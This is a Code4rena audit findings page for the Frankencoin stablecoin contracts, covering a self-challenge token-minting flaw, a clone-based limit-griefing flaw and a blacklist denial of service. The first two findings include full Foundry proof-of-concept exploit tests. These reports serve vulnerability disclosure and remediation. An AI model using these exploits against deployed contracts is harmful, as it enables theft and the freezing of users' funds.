Platform: Code4rena
Start Date: 12/04/2023
Pot Size: $60,500 USDC
Total HM: 21
Participants: 199
Period: 7 days
Judge: hansfriese
Total Solo HM: 5
Id: 231
League: ETH
Rank: 47/199
Findings: 3
Award: $123.68
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Lirios
Also found by: 0xDACA, 117l11, BenRai, ChrisTina, Emmanuel, Kumpa, SpicyMeatball, T1MOH, __141345__, bin2chen, bughunter007, cccz, jangle, juancito, nobody2018, said, shalaamum, tallo, vakzz
35.0635 USDC - $35.06
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L140 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L265-L272
An attacker can mint as much tokens as he wants(in the form of challenge rewards) by challenging a position that he just created. He can perform this attack in a single transaction.
Challenging a position can be profitable when the highest bid the challenge gets is lower than a position's liquidation price. In the case that the contract does not have enough frankencoin tokens to reward a challenger, new tokens are minted L265-L272
Here is the function used to start a challenge L140-L148:
function launchChallenge( address _positionAddr, uint256 _collateralAmount ) external validPos(_positionAddr) returns (uint256) { ... }
The validPos modifier L115-L117 only ensures that _positionAddr was created by the MintingHub contract, but there is no check whether the position is active or not. This means that anyone can open a position through MintingHub's openPosition
function, and challenge it in the same transaction.
Here is a foundry test for this attack. Create a new foundry test file in test folder, and copy this into it:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../contracts/test/Strings.sol"; import "../contracts/test/TestToken.sol"; import "../contracts/IERC20.sol"; import "../contracts/Equity.sol"; import "../contracts/IReserve.sol"; import "../contracts/IFrankencoin.sol"; import "../contracts/Ownable.sol"; import "../contracts/Position.sol"; import "../contracts/IPosition.sol"; import "../contracts/MintingHub.sol"; import "../contracts/PositionFactory.sol"; import "../contracts/StablecoinBridge.sol"; import "forge-std/Test.sol"; import "forge-std/console.sol"; contract WhitehatTest is Test { MintingHub hub; StablecoinBridge swap; IERC20 xchf; TestToken col; IFrankencoin zchf; address public alice = address(1); address public bob = address(2); address public charles = address(3); address public owner = address(7); function setUp() public { zchf = new Frankencoin(864000); xchf = new TestToken("CryptoFranc", "XCHF", uint8(18)); swap = new StablecoinBridge( address(xchf), address(zchf), 1_000_000 ether ); zchf.suggestMinter(address(swap), 0, 0, ""); hub = new MintingHub(address(zchf), address(new PositionFactory())); zchf.suggestMinter(address(hub), 0, 0, ""); col = new TestToken("Some Collateral", "COL", uint8(0)); } function testAttack() public { deal(address(zchf), alice, 1000 ether); //give alice 1000 zchf to cover position opening fees deal(address(col), alice, 5 ether); //give alice 5e18 collateral to open position and launch challenge(could be lower) vm.startPrank(alice); zchf.approve(address(hub), 1000 ether); //This is to pay for opening fee. col.approve(address(hub), 5 ether);//approve hub to spend positionInitialCollateral+challengeCollateral // Alice opens position with reckless values address alicePosition = hub.openPosition( address(col), //collateral address 1 ether, //minimum collateral 3 ether, //initial collateral 100, //minting maximum(does not matter for the attack) 1000, //expiration seconds(does not matter for attack) 0, //challenge seconds(make it 0 to perform attack in a transaction) 1, //minting fee in PPM(does not matter for attack) 1200000000000, //liquidation price(higher value, higher cash out) 1 //reserve fee in PPM(does not matter for attack) ); uint256 aliceChallenge = hub.launchChallenge(alicePosition, 2 ether); //alice starts a challenge on her position with 2e18 collateral tokens(could be lower) uint256 aliceBalBeforeAttack = zchf.balanceOf(alice); hub.end(aliceChallenge); //as alice ends the challenge, her zchf tokens increases drastically uint256 aliceBalAfterAttack = zchf.balanceOf(alice); vm.stopPrank(); console.log( "Alice Balance before attack: ", aliceBalBeforeAttack, "\n" ); console.log("Alice Balance after attack: ", aliceBalAfterAttack, "\n"); vm.stopPrank(); } }
use forge test -vv --match-contract WhitehatTest
to test it.
Test Explanation
end()
the challenge immediately because collateral duration for that position is 0.reward
that Alice would receive is a percentage of the volume
(L265).volume
is fetched from the Position's notifyChallengeSucceeded function(L260) which is calculated as liquidation price * challenge collateral size
(L347). This is why Alice set the liquidation price for the position to a high value.end()
function call was console logged, and we got 'before: 0, after: 48000000000'.Manual Review
Just like mint
function in Position contract, notifyChallengeStarted
should also use noChallenge
, noCooldown
, and alive
modifiers
#0 - c4-pre-sort
2023-04-26T12:00:27Z
0xA5DF marked the issue as primary issue
#1 - c4-pre-sort
2023-04-28T16:53:40Z
0xA5DF marked the issue as duplicate of #458
#2 - c4-judge
2023-05-18T14:41:12Z
hansfriese marked the issue as satisfactory
🌟 Selected for report: Josiah
Also found by: 0xDACA, Diana, Emmanuel, Kumpa, Nyx, RaymondFam, Ruhum, __141345__, bin2chen, carlitox477, lil_eth, nobody2018, rbserver
28.2764 USDC - $28.28
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/MintingHub.sol#L126 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L97-L101
A position owner who spends 1000zchf fees in opening a new position, with the intention of minting a reasonable amount of zchf tokens, will be disappointed and forced to withdraw his collateral when someone else maliciously clones his position.
When opening a position, owner sets a limit(_initialLimit
) for that position.
This check is used when calling the mintInternal function:
if (minted + amount > limit) revert LimitExceeded();
This means that a position owner can only mint up to the limit he set for his position.
But when someone else clones that position, he sets an _initialMint
, which would be deducted from the limit of the existing position through the reduceLimitForClone
function:
function reduceLimitForClone( uint256 _minimum ) external noChallenge noCooldown alive onlyHub returns (uint256) { uint256 reduction = (limit - minted - _minimum) / 2; limit -= reduction + _minimum; return reduction + _minimum; }
This is done to ensure that the sum of limits for a position, and all its clones is less or equal to the _initialLimit
set by the 'original position' owner.
But, malicious user can clone a position, and set the _initialMint
to a high enough value(highest value=limit-minted
) to drastically reduce the 'original position' owner's limit so that he won't be able to mint many zchf tokens for himself, forcing him to withdraw his collateral. He will be disappointed because he has wasted 1000zchf tokens as position opening fee.
Checkout this test:
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../contracts/test/Strings.sol"; import "../contracts/test/TestToken.sol"; import "../contracts/IERC20.sol"; import "../contracts/Equity.sol"; import "../contracts/IReserve.sol"; import "../contracts/IFrankencoin.sol"; import "../contracts/Ownable.sol"; import "../contracts/Position.sol"; import "../contracts/IPosition.sol"; import "../contracts/MintingHub.sol"; import "../contracts/PositionFactory.sol"; import "../contracts/StablecoinBridge.sol"; import "forge-std/Test.sol"; import "forge-std/console.sol"; contract WhitehatTest is Test { MintingHub hub; StablecoinBridge swap; IERC20 xchf; TestToken col; IFrankencoin zchf; address public alice = address(1); address public bob = address(2); address public charles = address(3); address public owner = address(7); function setUp() public { zchf = new Frankencoin(864000); xchf = new TestToken("CryptoFranc", "XCHF", uint8(18)); swap = new StablecoinBridge( address(xchf), address(zchf), 1_000_000 ether ); zchf.suggestMinter(address(swap), 0, 0, ""); hub = new MintingHub(address(zchf), address(new PositionFactory())); zchf.suggestMinter(address(hub), 0, 0, ""); col = new TestToken("Some Collateral", "COL", uint8(0)); } function testDenyOriginalOwner() public { deal(address(zchf), alice, 1000 ether); deal(address(col), alice, 500 ether); vm.startPrank(alice); zchf.approve(address(hub), 1000 ether); col.approve(address(hub), 500 ether); address alicePosition = hub.openPosition( address(col), //collateral address 1 ether, //minimum collateral 500 ether, //initial collateral 4000, //minting maximum 5 days, //expiration seconds 0, //challenge seconds 1, //minting fee in PPM 5, //liquidation price 1 //reserve fee in PPM ); vm.stopPrank(); vm.warp(7 days + 100); deal(address(col), bob, 1000 ether); vm.startPrank(bob); col.approve(address(hub), 1000 ether); address bobPosition = hub.clonePosition( alicePosition, 1000 ether, 4000 ); vm.stopPrank(); vm.prank(alice); vm.expectRevert( abi.encodeWithSelector(bytes4(keccak256("LimitExceeded()"))) ); IPosition(alicePosition).mint(alice, 2000); } }
Test Explanation
initialLimit
to 4000zchf, hoping to mint some tokens later.initialMint
to 4000. He spitefully calculated the initialMint as initialLimit set by alice(4000) - amount of zchf minted by alice(0)
Manual Review
Allow an 'original position' owner to set a minimum limit that is reserved for that position. This would give clones a limit to the initialMint
that they can set.
#0 - c4-pre-sort
2023-04-20T10:39:06Z
0xA5DF marked the issue as duplicate of #932
#1 - c4-judge
2023-05-18T13:57:15Z
hansfriese marked the issue as satisfactory
🌟 Selected for report: __141345__
Also found by: Emmanuel, KIntern_NA, SaeedAlipoor01988, bin2chen, cccz, joestakey, ladboy233, peanuts, said
60.3367 USDC - $60.34
https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L352 https://github.com/code-423n4/2023-04-frankencoin/blob/main/contracts/Position.sol#L268-L276
Main functionalities in a Position like minting, adjustment of price, and withdrawing of collateral will be frozen once a blacklisted address for a particular collateral bids in a challenge, and the challenge succeeds
When end()
is called and a challenge succeeds, the bidder should get the collateral from the Position contract through the internalWithdrawCollateral
call in the notifyChallengeSucceeded
function.
When ERC20 tokens like USDT (that implements blacklisting) is the collateral, and the bidder to receive the collateral is blacklisted, the internalWithdrawCollateral
call will fail, causing the end()
function call to always revert.
This would mean that the challengedAmount for that Position will always be greater than 0, and functions that use the noChallenge modifier: mint(),adjustPrice(), and withdrawCollateral() will be frozen forever.
Manual Review
Instead of sending the collateral directly to the bidder, there should be a mapping that stores amount bidders would receive, and the bidders should manually withdraw the collateral themselves.
#0 - c4-pre-sort
2023-04-19T20:57:19Z
0xA5DF marked the issue as duplicate of #675
#1 - c4-pre-sort
2023-04-28T12:43:11Z
0xA5DF marked the issue as duplicate of #680
#2 - c4-judge
2023-05-18T13:26:23Z
hansfriese marked the issue as satisfactory